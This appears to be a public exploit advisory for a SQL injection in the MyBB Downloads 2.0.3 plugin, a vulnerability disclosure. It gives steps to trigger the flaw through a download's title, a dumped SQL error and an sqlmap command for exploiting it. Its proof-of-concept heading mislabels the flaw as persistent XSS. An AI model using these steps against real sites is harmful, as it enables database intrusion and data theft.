# Exploit Title: MyBB Downloads 2.0.3 - SQL Injection
# Date: 28-10-2018
# Exploit Author: Lucian Ioan Nitescu
# Contact: https://twitter.com/LucianNitescu
# Webiste: https://nitesculucian.github.io
# Vendor Homepage: https://github.com/vintagedaddyo/MyBB_Plugin-Downloads
# Software Link: https://github.com/vintagedaddyo/MyBB_Plugin-Downloads
# Version: 2.0.3
# Tested on: Ubuntu 18.04

1. Description:  

It is a plugin which adds a page to download files. If enabled, regular members can add new downloads to the page after admin approval.  

2. Proof of Concept: 

Persistent XSS  
- Go to downloads.php page  
- Create a New Download  
- Add the following to the title: a"
- Now on submit, the user will be prompted to an SQL Injection specific error.

```
MyBB has experienced an internal SQL error and cannot continue.

SQL Error:
	1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"a""' at line 1
Query:
	SELECT * FROM mybb_downloads WHERE name="a""
```

- THis can be exploited with: sqlmap -r request_file -p name --threads 5
